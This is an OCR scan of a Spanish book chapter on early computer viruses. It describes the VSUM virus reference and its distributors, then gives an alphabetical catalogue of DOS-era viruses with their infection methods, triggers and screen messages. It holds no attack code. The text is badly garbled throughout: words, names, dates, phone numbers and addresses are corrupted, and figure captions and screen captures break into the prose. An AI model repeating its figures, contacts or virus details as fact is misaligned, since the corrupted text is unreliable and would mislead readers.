The Reference for all known N3-DOS Virusest”

this program may not be used in & business, corporatlon, organization, -
gouernment, or agent eovlronment without & regotiated site license

. - s . 1 A
Copyrlght (c) 1396-94 by Patricia M. Hoffman. All righls recerved.
" 393 Bovers’ Ao Sulte 130, Santa Clars, CA 95054 Tel: (40899683773 |
- - Press any key to contimue..... T o . W

El requisito mdispensable para pascer ta heencia indn iduat
de uso ded programa, es enviar US $30 dolaies a su autora,
para oblenet el derechuo a tas actuahzaciones que ofiece a tra-
vés de su BBS, instalado a Ly linea telefénica (108) 214-U813,
tambicén en California. Las licencias para empiesas v oticmas
de gobterno deberdn trannitarse directamente o con los distti-
burdores del producto, que se encaentran en 1odo o] mundo
En el ment de VSUNM puede encontrar la Lista de tos repre-
sentantes para todas las dreas idhomaticas o comtinentales.

Este suutrio de virns que comenzo como un archive de teslo
ASCIL, ha evolucionado hasta lo que es hoy; un atl, comple-
to y veloz programa de hiperteve (1 Iypcr:l'cxl), que permite
consultar acerca de virus especificos, longitindes en bytes de
cada uno de ellus, relacion o fannhias de virus, fechos de activa-
cion, imfice alfabético, eic. Ademis para cada vitus prosentaun
culadru con datos como nomibie, alws, jecha, posible irgar e
origen, forimas de confagio, imados de deteceidin {'!mrmm'uiu‘, Vo
mentarios generales. ’

Los virus mds conocidos v que mds se han esparaido en tas
compuladoras, segan la Computer Virss hidustiy Associalion,
son Scores v nVIR en la Macintosh: SC51 en Aniga, Lefueh,
Mervit o Almneda, Oropax, AIDS, Pakistam Bnmr,\}vr‘u_\'ufﬁu,
Viewna, Dk Avenger, Ping Pong, stoned, AMuwchelunyelo, Ancop
y muchos otros en las IBM o compatibles. .

Figura 6.2
Lista de los
distribuidores de
VSUM para
Méxlco y
Sudaménca,
donde se
pueden
conseguir
licencics
corporalivas
para uso del
produclo
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Agents - Mex1Co & SOULh America

Argentina:

Contact. Harie Jose Alvarez Hamelin
Telephone: -54 (1) 642-)6E9
=54 (1) 3)4-7802

RAN Ingemieria de Sistenas
Cosguin 10-%¢ C

Buenos Alres 1608 Fax,
Argentina

Brazil:

contack David Rotenberq

Maple Informatica Ltda.
Telephone: +55 {11) 8259-%1%0

R. Maranhao, 554 c) 2e

01240 Sao Paulo, SP bax: 55 (11) B26-52375
Brazil

Chile:

Ri1gg S. A, Contact: Ricardo Gutiuvrrez
Avda, Salvador 1068 Telephone: +56 (Z) 225-0222

P.0Q, Box 10.195 Fax: «56 [2) 2250230
Santiago

Cnile

Hexico:

Contact: Arturo De la Mora Carrasco
Telephone 1{52) 5 273-0%5e
+(52) 5 273-101%

McAfece Assocldabes, Mexico SA de CV
Av. Nucevo Leon No, 253, 5° piso
col. ILscadon C,P, 11800 Fax:
Hexice D, F,

Dave Ferbrache del Departamento de Cienaias de Compu-
tacion, de la Hertot-Watl University de Inglaterra, tambidén
hace una clasificacion de los virus por sus nombres, los cua-
les ha estudhado y rastreado para confirmar lo que se habia
mencionado aqui; muchos de los virus que se detectan dia-
riamente son variantes delos mas conocidos, pero cada perso-
na que sufre la infeccidn por alguno de clles, lo estudia y lo
define, poniéndole un nuevo nombre Alortunadamente, los
nombres mas genéricos se sacan de cadenas de texto o firnwas
que sus autores introducen en el codigo de los virus, lo que
permite unuficar criterios al momento de baniizarlos.

El autiviius ruso AVP_200 de KAMI Corp., ademas de pre-
sentar panlallas con informacién —no muy complela-de cada
virus conecido, en algunos casos permite ~presionando las te-
clas [@a] +{B]- observar o escuchar los efectos del virus en
una version simnlada, que da unaidea de lo que hace cada vi-
rus, sin lener que infectar la compuladora.

6.2 Los virus mas conocidos

En la sigumiente clasificacidn, por orden alfabético con respec-
to al nombre, se toma un poco de material del trabajo de Fer-
brache, de VSUM, de AVI'_200, y de otras fuentes de
informacion, asi como de investigaciones del propio autor,
para dar una idea de tos virus mas conocidos y sus pi incipa-
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les caracteristicas, detallando las formas de contagio y las
arcas especificas que atacan en el disco.

AIDS. También conocido como Huhaha (como risa burlo-
naja-ja-ja), Taunt, SIDA o VGA2CGA, es un virus infector de
archivos gjecutables (con extension .COM o .[EXE). Alactivar-
se presentla un mensaje en la pantalla, “Your compufer nove las
AIDS” ("Su computadora biene SIDA”), con las letras AIDS
resaltadas y grandes.

El virus infecta los archivos vjecutables posiciondndose en los
primeros 13 kB, por lo que al elinunarlo con cualquier antivi-
rus, los programas quedan inservibles. Se recomienda borrar
los archivos infectados y reemplazarlos por los originaloes,

AirCop. Virus residente en memorta descubierio en Esta-
dos Unidos en ¢l afio de 1990, de origen Taiwanés, infecta el
sector de arrangue de los disqueles. Es un virus muy daiiino,
ya que destruye los dalos del sector 719, que es a donde envia ¢l
programa de carga original. Solo infecta disquetes de 360 kB
de 54", y decrementa la memona de la computadoraen | 024
bytes cuando se instala. Bloguea v wtihza las interrupciones
12h, 13h y 1Bh para controlar la computadora.

Alecatoriamente despliega ol mensaje “Red Stale, Germ Of-
fensrve, AIRCOP ™ y generalmente no infecta ni sector de carga,
ni tabla de particiones del disco duio. La version Aircop-B se
activa en ¢l mes de septiembre y presenta otro mensaje que
dice: “This is the AIRCOP” La mayoria de los antivirus lo re-
conoce vy desinfecta.

Alabama Sedescubrd enba Universidad Febrea de Jeru-
satén en octubre de 1989, Infecta los aichivos ejecutables con
extension .EXE que encuentie on el divectorio actial y les in-
crementa la longitud en 1 560 bytes, esta pregramado para
activarse solo en viernes y como maneja la talla de asignacion
de archivos (File Allocation Table, FAT), cuando esti activo bo-
rra los archivos de programas o datos

Alameda. En mayvo de 1988 se tuvo noticia de este virus
en el Merritt College de Oakland, Califonia, aunque se su-
pone que fue desarrollado a fines de 1987 No fue disedado
originalmente para que causara daios intencionales, pero en
sus nuevas versiones puede destruir archivos de datos. Se dua-
plica cuando se hace una reinicializacion con las teclas @] ¢
EALT) + e, infectando dodos los discos de 5 14 de 360 KB con
los cuales tenga conlacto en los sistemas de fas PC de 1BM y
compatibles,

Desplaza el sector de carga imcial al sector 8 en la pista 39
del lado @, y ocupa su lugar en el sector 0, Heva una relacion

Figura 6.3
AVP_200 permite
con la tuncidn
Demo, oif ¥
observar los
efectos de
algunos virus,
como en el caso
de Ambulonce
family, virus
procedente de
lo Alemania
Criental de
aquel 1990.
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de las veces que hanfectado olios discos v contiene una ins-
truccion muy rara ('O C8), que no permite que infecte a los
sistemas con procesador 286 0 386 Posiblementie de ¢l se de-
rivan los virus Yale, Alerrntt, Pekony, Mazallaiy Seeul.

Asume el controb del sistema desde b carga imiciad, L cual se
hace muy lenta, instalinduse en la parte superiar de fa memo-
ria de la computadora, endonde ocupa | KB Ocasiona la car-
dir del sistera voel Pordo de dados Ademids, como no prolege
al sector O marcindolo como sector po pbilizable, Ly imformacion
que se esté grabando puede alojarse en ese seclor v danarlo.

Sus variantes son Aanieda-5 o Sacramento, que no hiene L
instruccion de protecaion du los sistemas 280 v 350, Alameda-
C, que mhabilita I funcidn de carga intenal despuds de 100
infeccrones, Virns 17 (Vanante del Alaneda-C), que se ha mo-
dificado para formatear ef disquete de carga nucial o de sis-
tema, cuando el contador se acaba.

Ambulance Car Estevitus mtectalos archivos CON que
se encuentren en ol directono en usa, v los gue estén ubica-
dos en las vias especincadas con el comanda PXTH enel ar-
chivo AUTOENEC BAT Aleatomamente, cuando se ejecuta
un programa infectado por Aubinlancia, se presenta una ma-
gen de una ambulancia que barre la parte inlenor de la pan-
talla de rzquierda a derecha, mientras se escucha ¢l somndo
caracleristico de una sirena

[ vir:3061 03 18.1994 125k KRS}

-_can iew ools elp

L
Anbutarce family

There are a non dangercus and non kenory-cesident viruses,
They by slandard manner infect CON-Tiles of the currcnt
directory amd directorics specified In the PATIE string.
Pepending on the mumber of infecting ltles these infeclors
nanifest Lheaselves by an amusing viden effect - it sound
like a siren and display the folloulng plclure running froa
the lcft to the right of the screen:
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La primera version infectaba solo un archivo de cada sub-
directorio cada vez que se ejecutaba un programa infectado,
y esto lo hacia respetando al primer COM que encontraba,
por lo que siempre se salvaba e] COMMAND.COM, pero la
modificacion; Ambulance Car-8, puede infectar 0, 1 0 2 archi-
vos en cada ataque viral. No se sabe que produzea darios adi-
cionales a la informacién almacenada en la computadora.

Amstrad. Un virus cuyos origenes se suponen en Espana
o Portugal y que debe sunombrea la conecida marca de com-
putadoras Amstrad, infecta los programas con extensién
.COM, sobreescribiendo los programas con 847 byltes, que es
la longitud de su cddigo. No se ticnen noticias de que pro-
duzca danos a los archivos —excepto a los que infecta—, y no
contamina al archivo COMMAND.COM.

La facilidad de modificaciéon de su codigo ha producido
infinidad de versiones, cada una de las cuales presenta un
mensaje parecido o diferente a la version original. Los men-
sajes mds comunes son los de las versiones:

Amstrad 283, “What a stupid you are HIHIHE”

Amstrad 299-8 “Software Failure Task Held Guru Medita-

Amstrad 847-B "Buy Amstrad if s the CHEAPEST COMPU-
TER that you can buy”

Amstrad 847-C “En tu PC ay nun virns RV1, y ésta es su quit-
ta generacidn”

ANTI. Virus descubierto en Francia en febrero de 1989, In-
fecta programas de aphicacién o incluso vl Finder en las Macin-
tosh. Resulta mds conlagioso que los virus Scores y nVIR, pues
busca los programas y los infecta aungue no se les ejecuta.
Sobreescribe algunas partes de los archivos infectados, y aun-
que se limpien con algun anlivirus, puede ser que la version de-
sinfectada presente algunos problemas al ejecutarse. En
sepliembre de 1990 aparece también en Francia una segunda ver-
sion denominada ANTI-B, con codigo muy similar a la primera.

Antt-Pascal. También conocido como AR AP-605 o C-605,
de origen Biilgaro, descubierto en Sofia, es un virus que in-
fecta dos archivos .COM que se encuentren en ¢l directorio
raiz o en el aclual del disco duro, cada vez que se ejecute un
programa infectado. Inserta su cédigo al principio de los ar-
chivos .COM infectados y envia esa parte del programa ori-
ginal, hasta el finat del archivo, con lo que la longitud final
crece en 605 bytes.

g
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Si no encuentra los dos archivos COM para infeciar, busca
los que tengan exlensiones PAS o BAK para insertar su codigo
en ellos, para despuds cambuarles la extensiona COM o a EXE
si es que existe un archive .COM con ese mismo nombre.

Anti-Tel. Es el famoso virus espanol denominado Antite-
lefénica que infecta el sector de arranque (Boot sector) de los
disquetes o la tabla de particiones (Master Boot Record, MBR)
de los discos duros, y cuando se activa resulta muy destruc-
tivo. Como la mayoria de los virus residentes, se instala en a
parte alta de la memoria de la computadora, pero siempre
debajo de los 610 kB convencionales. .

También como algunos otros virus, sobreescribe su cadigo
en el sector de arvanque de los disquetes y utiliza los dos ulti-
mos sectores del direclorio para ¢l resto de su cuerpo y el pro-
grama dv crga ornginal. S1existicran datos en esos seclores, se
sobreesenibirian con la consiguiente pérdida de informacion
en el disquete.

Utiliza téenicas stealth (cautelosas) para desviar los mten-
tos de deteccion cuando estd activo en la memona de la com-
putadora. Después de 400 cargas con un disquete o disco
duro infectado, el virus despliega el mensaje “VIRUS ANTI-
TELEFONICA (BARCELONA)" y sobreescribe las dreas de siste-
ma del disco.

April 1st. Tambidn conocido como Suriv, es un virus que
ataca los archivos .COM, excepto el COMMAND.COM y
presenta en pantalla un mensaje “April Ist Ha Ha Ha You have
a virus”. Se activa cl primero de abril, tan pronto como se eje-
cuta cualquier archuvo .COM mfeclado, y luego se posiciona
en la memoria para esperar la ejecucion de otro archivo
COM, al cual infecta también. La nueva version, Aprid Ist-B,
infecta ademas los programas con exlension .EXE. Estos vi-
rus pueden rastrearse buscando con Debug o con un progra-
ma de utilidades la cadena de caracteres sURIV 1.0.

Austrian 0 648. Este virus, quese conocid por primera vez
en Londres a finales de 1988, no causa serios dafos, aungue
sinfecta los programas con exlensién .COM, aumentando su
tamafo en 648 bytes. Su variante Austrian-B hace que el ar-
chivo infectado no se gjecute, y s6lo infecta uno de cada diez
archivos .COM; la version Virus 405 reemplaza el archivo in-
fectado por su propio cédigo de 405 bytes. .

Boot Sector. Es un virus originario Je la ex Alemania O_c’CI-
dental que ataca a las computadoras Atari modelo 5T, alojan-
dose en el sector de carga de los discos. Cuando se realiza Ia
carga mucial del sistema con ¢l disco infectado, el‘virus S¢ ac-
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Figura 6.4
Dlagrama gue
muestca la forma
en que el virus
Apxil Ist se
introduce en los
archlvos
elecutables;
entre el Header
y el codigo o
instrucclones del
programa.
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|PROGRAMA"MFECTADD'| | PROGRAMA"saNGr |

HEADER (EXE) [, ! HEADER {EXE)

coDIGO’ £ODIGO
DEL VIRUS EJECUTABLE
coDIGO
EJECUTABLE

tiva en la memoria de la computadora agregandose al vector
de llamadas del sistema -que es ¢l que controla lodos los ac-
cesos al disco-. [nfecta cualquier disquete que se introduzca
en la unidad, danando su tabin de asignacion de archivos (File
Allocation Table, FAT). Una vez aleanzado su objetivo se relira
del sector de carga, destruyendo asi cualquicr indicio de 6l
Brain. Conocido también como Paquistani, Nipper, Men-
te Paquistani, Clone, Brain Ashar y Brain Singapore, vs el
mismo que se documentd ampliamente en el Capitulo 5, sélo
que aqui se anexan investigaciones posteriores que arrojaron

datos interesantes.

Se lomé un disquete infectado con Bram y se procedid a
limpiarlo utilizando varios antivirus como Clean de McAfee,
Notton AV, MSAV, y atros, Se volvid a infectar nuevamente y
asi varias veces; al revisar el imnpa, se encontrd que por cada
nueva infeccion, el virus marcaba como daiiados olros tres
nuevos chissters. El procedimiento se detiene hasta que el dis-
co no tiene mas espacio libre para dar cabida al cuerpo del
virus.

Byte Bandit. Trabaja como un gismio, pues nunca perma-
nece en la misma localidad de la memoria, por lo que es de
dificil deteccidn Verifica los disquetes que se insertan en la
unidad de disco y se aulocopina, especialmente en los discos de
carga o sistema de las computadoras Amiga de Commodore.

-

|

Figura 6.5

Fluxograma del
procedimiento
de Infecclén que
lleva o cabo
Paquistan, el
cual es muy
similar al de lo
mayolia de 1os
virus existentes.

Figura 6.6

PC Tools version
4.21 muesira el
mapa de un
disquete
infectado
muchas veces
por el virus Brain.
Observe la gran
contidod de
clusters
marcados como
danados.
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Cacophony  También conocido como Cacophony |, es un
nuevo vicus de origen desconocido que se ha descubicrto a
partit de febrero de 1994, cuya longitud osciby entre ‘f5(1 v 960
bytes. Cada ver Gue se ejecula un programa contagiado por

{ .
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este virus, infecta un archivo con extension EXE que se en-
cuentre en el directorio en uso. Modifica la fecha y la hora de
los archivos infectados, aunque la hora siempre la fija en
4:08a, y produce un beep en la bocina del sistema, algunas
veces, poco después de ejecutarse ¢) archivo infectado. Lspe-
ramos no tener que reportar infecciones o dafos serios causa-
dos por este nuevo virus en el futuro.

Cascade (Virus de cascada). Se le conoce también como Fa-
Hing Tears, Autunnt Leques, Blackfack, Fali, Falling Letters, 1701,
1704 y Cascade-1706. Originado a finales de 1987, es producto
de un Caballo de Troyn medificado ¥ produce la caida del teato
a la parte inferior de la pantalla en los monitores VGA. Infec-
ta los archivos .COM, aumentando su tamafo on 1 701 bytes,

Estudios realizados por Dave Ferbrache, en combinacion
con Johin McAfee, han dado como resultado un serio analisis
de este virus, en el cual encontraron caracleristicas muy espe-
ciales:

# Estd basado en un algoritmo de codificacién que diftculta su
deteccidn,

* Se aciva dependiendo de una serie de convergencias alea-
torias como tipo de miquina, tipo de monitor, tarjeta de re-
loj y época del aio.

# No afecta los sistemas originales 1BM, sino los compatibles
o clones.

» Por una fatla de sus creadores, el virus que se activa en
cualquier computadora con monitor CGA o VGA, fo hace
s6lo en los meses de septicmbre, octubre, noviembre o di-
ciembre de los anos 1980 o 1988. Esto se debe a que tas
computadoras que no tienen reloj, casi siempre toman la
fecha de creacion del sistema operativo DOS, que hasta la
version 3.3, se presenta como 1-1-1980.

Cascade-B es una variante del Cascade original que se activa
en ¢l otofio de cualquier aiio. 1704, también llamado Black-
jack, es el mismo que el 1701, pero con 3 bytes mis. El 1704-B
es igual al 1704, pero la visualizacion de la cascada ha sido
reemplazada y lo que sucede es la repeticion del proceso de
carga inicial cuando se activa el virus, Bl 1704-C es igual al
anterior, pero su fecha de activacién se da en diciembre de
cualquier afo. Cascade 1691 despliega aleatoriamente un
mensaje: “ILSISTEMA ¢ FOTTUTO!" *S.E.K. VIRUS Made in
ITALY RM™ “5iD G Ferraris 90/91 (¢)”. Por dltimo tenemos ol
1704-D, que no respeta ni a las maquinas originales de IBM.

W
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Figura 6.7

Oho de los
demas de
AVP_200, es este
inlerescnte virus
QzQroso que o
juega con ustad
la inlegildad de
todos los dotos
del disco duro.
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Casino. Afortunadamente no es un virus muy comun, 1
que el concepto destructiveo azarose, se presta incluse para
que algunos aveniuieros usuaTios sejuegien la mte‘q.nd.n!
de sus datos. I propasito de este virus 111fL‘Ctt_1r Jde -'I‘I'L_]?l\ 0s
COM es burrar La tabla de asignaaidn de archivos (FAT) del
disco duro, v para ello, se introduce al COMMAND COAL,
obtentendo ¢l contiol de la computadora.

Infecta todos los arcluves con extensidgn COM que se en-
cuentren en el directono actual, o los que dc{uctu cunnd_n 50
hace un acceso al disco con el comando B, I-l_u: tliuscublcrt‘u
por primera veszen Malta hacia abrl de 1991, El virus se acti-
va el dia 13 de los meses de enero, abnl v agosto, y cuando lo
hace, jconuenza la diversion!

DISK DESTROYER ~ A SOWEXIR OF MALTA

1 have Just DESTROYED the FAT om your Disk ft
Houever, | have & copy in PAN, and §'m gluing you a last chance
ta restore your precious data.
LARNING: IF YOU RESET MM, ALL YOUN DATa UILL BE LOST - FOREVER 11
Your Dala depends on a gane of JACKPOT

CASIND DE MALTE JACKPOT

CAEDITS : S

LI = Your Disk
777 = My Phone No.

ANMY KEY 1D PLAY

Alactivarse el virus Cusine hace una copia de I‘_1 FAT en la
memoria RAM y borra los datos del disco. Enseguida prcser;-
ta una pantalla como la que se nuestra en la figura 6.7,‘d?m L
le permite tratar de salvaguardar la integndad de los L;ﬂ{\t-
del dizco, mediante un juego de azar. Usted cuenta con cinco
oportunidades para lograr que las Ircs: macquinltas ;;1-1.\.tm 145
le den el resultado 272, de lo contrario —s1 caen tres signos
ELE—, el virus cample su cometido. .

Si tuvo la suerte de ganare al vivas, se despliega en la pan-
talla el mensaje



156

Los virus rné@s conocldos

BASTARD I'You're lucky s time - but for yonr ot snke, now
SWITCH OFF YOUR COMPUTER AND DON'TURN IT
ON TILL TOMORROW!!!

s1no contd con la suerte de su lado, el mensaje serd burldn y
ofensivo, e incluso tiene palabras bastanle soeces para ¢l caso
en que se le trate de rastrear al virus o reimicializar la compu-
tadora sin hacerle caso.

Datacrime. Infecta los archivos ejecutables con extension
.COM vy sc nstala como ressdente en la memoria de la com-
putadora. su longitud ¢s de 1 280 bytes, por lo que también
recibe el nombre de viris 1 280 0 Columbus Day. Se aloja al fi-
nal de los arcluvos infeclados, pero envia 3 bytes al principio
del archivo para que al ejecutarse, lo primero que se active es
el virus.

Na ataca al archivo COMMAND.COM, pues estd progra-
mado para no contagiar los archivos cuyo nombre contenga
como séptima letra una D, Después del 12 de octubre de cual-
quier ano, cuando se ejecuta presenta en la pantalla un men-
saje que dice, "DATACRIME VIRUS RELEASED: 1 MARCH
1989". En ese momento realiza un formateo Jde bajo el (Low
level format) en el disco duro. -

Dark Avenger. Un virus originario de Bulgaria, conocida
ademas como Eddie, Dinna, VAN Soft, Black Avenger, Rabid

" Avenger, Evil Men y otros, fue descubierto en septiembre de

1989. Su longitud es de 1 800 bytes. Este virus infecta los ar-
chivas gjecutables .COM, [EXE, .OVL y .OVR, incluyendo el
COMMAND.COM. Es muy prolifico y es capaz de infectar
hasta los archivos que se copien con los comandos COPY y
XCOPY del 1205, de tal manera que aunque los disquetes
“origen” 0 “desting” no estén conlagiadoes, al terminar de co-
piar los arclivos, los ejecutables pueden Hevar ya el virus,

Descubicito y estwdiado en Estados Unidos, cada decimo-
sexta infeccion envia parte de su cddigo a escribir en sectores
seleecionados aleatoriamente, destruyendo los datos ahi con-
tenidos Este virus conticne las siguientes palabras en su ¢é-
digo- “The Dark Avenger, copyight 1988, 1989", y el mensaje
“This program was wrillen in the city of Solia Eddie lives..
Someware in Time!”

dBASE. Virus residente en memoria que ataca archivos
DBE alterando sus codigos iniciales y trasponiendo alealo-
riamente 2 bytes. Crea un archive BUG.DAT, en donde lleva
un registro de sus infecciones, las cuales realiza sobre los ar-

chivos ejecutables COM y (EXE. Su longitud es de | 864

Figura 6.8

El virus Den Zuk
presenta este
mensaje cuando
se teclea

fori] +Faiy) +[oeL] .
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'
bytes; fue descubierto ¢n Nueva York por Ross Greenberg,
uno de tos puoneros en la brigada antivirns,

Al ejecutarse uno de Jos programas infectados, se msialn
en la memuoria v espera cualguier mtento de abrrun archivo
DBFE para proceder a alterarlo, modificando los datos de
modo que aparezcan como cortectos Pespués de Y0 dias,
anula chdmectorio raiz v lacfabla de asignacedn de archrees. Algu-
nos investigadores del problema de los vicus recomiendan
crear ¢n los discos un archivo BUG DAT v cambiarie ¢l atri-
buto a sélo lectiira (tead only), para no dejarle al viras la post-
bilidad de cremlo, evitando asi su propagacion

PenZuk Lste virus deorigen Indoncesio os conocido tam-
bién comae Semch o Venezuelan, v fue descubierto en 1988.
Comao la mayoria de los virus infectores de sector de arvamgie
de aquellas fuechas, solo infecta disquetes de 360 kB de 5 14”
Una ves stalado en Lo memuoria, cada ocasion que se reini-
cialice la computadora a havés de las leclas €8] +720) + 'oer
presenta el mensaje de la higura 6.8 en los monitares tipo

CGA, VGA 0 EGA.

Su cadigo ocupa 9 sectores complelos v lo graba en una lo-
cahdad determinada, por lo que toda inlormacion que este
ahi almacenada, serd subiceserita. Esto lo convierte en oan vi-
rus peligroso, contrario a las clasthicaciones que se han hecho
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acerca de ¢l comao virus no dafime. Dentro del codigo se pue-
de encontrar como cadena de texto:

“Wellcome to e
Clhub-

~The HackerS-
Hackin’

All The Time
The Hackers”

Se supone que Den Zuk es parente cercano del virus Oltio,
ya que éste renombra los archivos infectadas como
YCLERD y Den Zuk hace lo propio cuando se sobreescribe
en un seclor de arranque infectado con Bram, ademds sus ¢6-
digos son muy parecidos.

Devil’s Dance (Baile del diablo). Esun virusdel ipo TSR
{Termmate and Stay Resident) que fue desariollado en Meéxico
a fines de 1989, Infecta archivos ejecutables .COM, incluyen-
do al COMMANID.COM, v tiene una longitud de 941 bytes.

Puede infectar al mismo programa varias veces hasta que
lo hace crecer arriba de los 64 kB, lo que hace que el sistema
operativo DOS ya no lo reconozca como archivo .COM y no
lo ejecute. Cuando estd activo en la memoria y se intenta cli-
minarlo restableciendo el sistema con [oi) + &3] +(TE], pre-
senta un mensaje en la pantalla como el de la figura 6.9. (;Has
bailado con ¢l diablo bajo la tenue luz de la luna? {Reza por
tus discos! E! Guasén).

Si estd residente en fa memoria de la computadora, des-
pués de teclear unos 5 000 caracteres, este virus borra la pri-
mera copia de la FAT del disco.

DOS o UNESCO. Infeclta los arcluvos cjecutables .COM.
Aparecid por primera vez en Moscy, en abril de 1988 en un
campamento veraniego de computacién para nifios patroci-
nado por la UNESCO. Los programas infectados realizan
una repeticion de la carga inicial del sistema cuando se ejecu-
tan. La vanante 62-B de esle virus no realiza la repeticién de
la carga inicial, sino que cuando se activa suprime el progra-
ma ejecutado.

Eggbeater. No se trala en realidad de un virus informati-
co, sino de un Caballo de Troyn que erréneamente, por sus ca-
racterislicas, s¢ ha identificado como un virus A diferencia
de otros Caballos de Troya, Eggbeater cuando se ejecuta no
manifiesta actividad alguna en la pantalla del monitar, pero
a parlir del momento en que se activa comienza a borrar to-
dos los archives que haya en los discos del sislema.

T
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Figura 6.9
Mensale que
presento el virus
Devil’s Dance
cuando se hace
una
reinicializaclén
en caliente de la
compuladora.
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Ui ves que ha conchuido su destructiva Labor, \_'lsu.lli/_n
en la pantalla el mensaje ARE ARFY Golcha! La razén por la
que no se considera como virus es que no tiene la caPnlc:dnd
de duplicar su eddigo, lo cual es la princad caracteristica de
los virus informdticos )

Flip. Enla Alemania Oriental de 1990, se descubre esle vi-
rus suizo, cuya longitud es de 2 343 bytes. Se clasifica dentro
de los infectores de archivos ejecutables con eatension .COM,
EXE v overlays, pero también corrompe los datos de la !n!flr!
de particiones y el sector de arronque de los discos duros En-
cnpta —codifica- su codigo dentio de los programas mfecta-
dos gracias a un algoritmo que no tiene mas du 2 bytes, porlo
que es de tipo polimor o (Polymorphic).

Los dias 2 de cada mes, entre las 4 v 4:59 de la tarde, cuan-
do estd activo en la memaoria de la computadora v ésta cuenta
con un moenitor VGA o EGA, el virus Flip “voltea™ la pantalla;
es decir ubica lo de arniba abajo y viceversa —de ahi su nom-
bre Flip-.

Friday the 13th. También Hamado Visies Conr o Virus 512
Aunque lleva el mismo nombre, no es el mismao que el cone-
cido Viermnes 13 de Jerusalén Bl Viries Conto Vinis 512 se man-
Liene activo ¢n la memoria ¢ mtecta los archivos COM. Su
origen se sitia en Suddfrica on 1987 Cuando se ejecuta busca
dos archivos COM en el disco duto v uno en la umdad A, v
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los infecta. Es muy veloz y casi no se detecta su acceso al dis-
co; si se ejecuta los viernes 13 borra ¢l programa anfitnon -
igual que el virus de Jerusalén-.

i.a variante Friday 13th-B actia como el enginal, pero in-
fecla todos los archives del subdirectorio en que se trabaja,
La altuma versién, Frday 13th-C, agrega el mensaje We hope
we hawven't inconvenienced you, cada vez que se activa

Golden Gate o Virus 500.  Aunque se ha clasificado como
un virus original, se supone que ¢s el SF (Alameda-C}, modifi-
cado para formatear la unidad C cuando acaba el contador
Es muy remoto que las infecciones de este virus se lleguen a
activar, pues ¢l contador estd programado para actuar al Ile-
gar a 500 mfecciones con el mismo equipo -de 500 discos di-
furentes—. Se espera que la infeccion nunca se tlegue a activar
por las caracterfsticas tan dificiles de cumplir en una sola se-
si6n de trabajo, ya que el contador 1egresa a cero cada vez
que se apaga la computadora.

Golden Gate-B ha reducido su comtador para activarse a las
30 infecaiones. Bl Golden Gate-C, también Hamado Mazatlin,
puede infectar discos jos o duros, incrementando su posibi-
lidad de activacion, pues cada vez quue se carga el sistema, se
hace con el nusmo disco.

INIT 29. Programa extremosamente virulenlo que se des-
cubre a finales de 1988 Infecta los archivos cjecutables, de
sislema y de datos de las compuladoras Macintesh, aunque
obviamente los de datos no resultan infecciosos. Uno de los
efeclos que lo delatan es cuando usted introduce un disquete
a la untdad; el virus envia un mensaje que dice: The disk (nowm-
bre del disco} needs nunor repasrs, Do you qeul fo repar 11?2

Halian, de Turin o de ta Pelotita  Ver Capitulo 5.

Jerusalén, Israeli o del Viernes 13, Ver Capitule 5.

Lehigh. Ouigimado en el Centro de Computacion de la
Universidad de Lehigh, en Pensilvania e 1987, infecta sola-
mente el archivo COMMAND.COM del sistema operativo
de las PC de IBM o compatibles. Se activa al contabilizar
4 infecciones, destruvendo todos los datos y cambuando
las fechas de creacion de os archivos en tan corto tiempo,
que es muy dificil de detectar antes de que empicce la des-
truccion,

Como se activa cuando detecta la cuarta infeccion, es 16yi-
co que es0s cuatro discos o programas contagiarin a otros
cuatro cada uno de cllos, y asi sucesivamente, reproducién-
dose en una progresion geomélrica de infecciones virales,
por 1o que es uno de los mas virulentos.

Figura 6.10

Pantalia de
demaostracién
del virus
Metallica 1739
que presenta el
aniivirus
AVP_200. Este
virus es de la
misma famillia
que Metallica ll,
pero cambla lo
ptesentaclén en
la panialla.
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La dmica moditicacion que se le conoce es Lelugh-2, que
anula la tabla de asignacidn de arclios (File Allocation Table,
FAT} del disco cuando llega a contabilizar 10 infecciones de
la memoria RAM. Es uno dL los virus mds conocidos v estu-
diados, por su alta diseminacion La dnica manera de butlarlo
es renombrando el archivo COMAMAND COM, cambiindole
el atribato asolo lectina, para lo cual habria que modificar tos
archivos CONFIG 5YS y AUTOEXEC BAT,

Melallicall. Delos virus nuevas, descubierto en sephiem-
bre de 1993, Metallica es de origen ruso ¢ infecta los archivos
gjecutables con extensiones |2 )\l v .CONL eneeplo el COM-
MAND.COM Deciementa en 2 kB la memona, aungue la
longitud total de su codigo es de 1 129a 1 143 by tes. Inserta su
cadigo al final de los auhn\ os infectados, ven ol interror pue-
de encontrarse L cadena de texto, “Alebalica Ver 207 " AHDS-
COAMMANDT “(c) LISSR AMoscoin 927, En ef antivirus ruso se
encuentra la version Aletallica THO3, que ademas produce un
efecto visual en la pantalia quela deforma haciéndola puguie-
na y prande a intervalos, siempre corriendo el movinuento
en forma vertical; es decir, de aniba hacia abajo.

Michelangelo. Ver Capitule 5.
Monkey. Fue descubrerto en udubnc Je 1992, s que se
Llengan datos de su origen hasta la fecha, Es uinovicus miector de
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la tabla de par liciones (Master Bool Record, MBR) de los discos
duros y del sector de arraque de los disquetes, que permanece
residente en la memona de la computadora, Utihiza técnicas
Stealtl para esconderse cuando se le Lrata de detectar,

Encripta el contenido del sector de arrangue original y guar-
da su propio cédigo viral en el Cilindre 0, Lado 0, Sector 3,
agregando al MBR un apuntador que lo liga al arranque. En
los disquetes almacena su cédigo en el dltimo sector del di-
rectorio.

New Zealand. También llamado Virus Stoned, fue conoci-
do a principios de 1988, en Nueva Zelanda. Se activa alealo-
riamente después de la séptima carga inicial con el nusmo
disco infectado, presentando el mensaje Your computer is now
stoned. Legalize Marijuana. No infecta discos duros y parece
que no produce dafios mayores.

Sus variantes son New Zealand-B, que ya ataca a tos discos
duros y New Zealand-C, que ademas ya no produce el mensaje,
por lo que se hace muy dificil de detectar, aunque la imayoria
de los virus, cuando esldn activos en la memoria, redireccio-
nan los intentos de deteccidn y siempre dificultan ésta.

nVIR. Este virus se introduce en las computadoras hMa-
cintosh, y su oligen se supone que ocurrié a mediados de
1987 en Hamburgo, Alemania Occidental. Con muchas varia-
ciones en la versidn actual, propiciadas por su codigo fuente
que ha permilido a olros programadores modificarle, ataca
directamente el sistema, por lo cual una vez que estd presente
infecla loda aplicacion que se ejecute, ocasionando la caida
del sistema, el borrado de archivos, la generacion de un soni-
do 0 "beep” cuando se ejecuta un programa, en caso de que
el sistema no cuente con sintetizador de voz, si cuenta con él,
se escuchard Don’t panic!.

Oropax, Esle virus residente en memoria se conoce tam-
bién como Music Virus o Musician, Infecta directamente los
archivos .COM, interceptando la interrupeion 21 del sistema
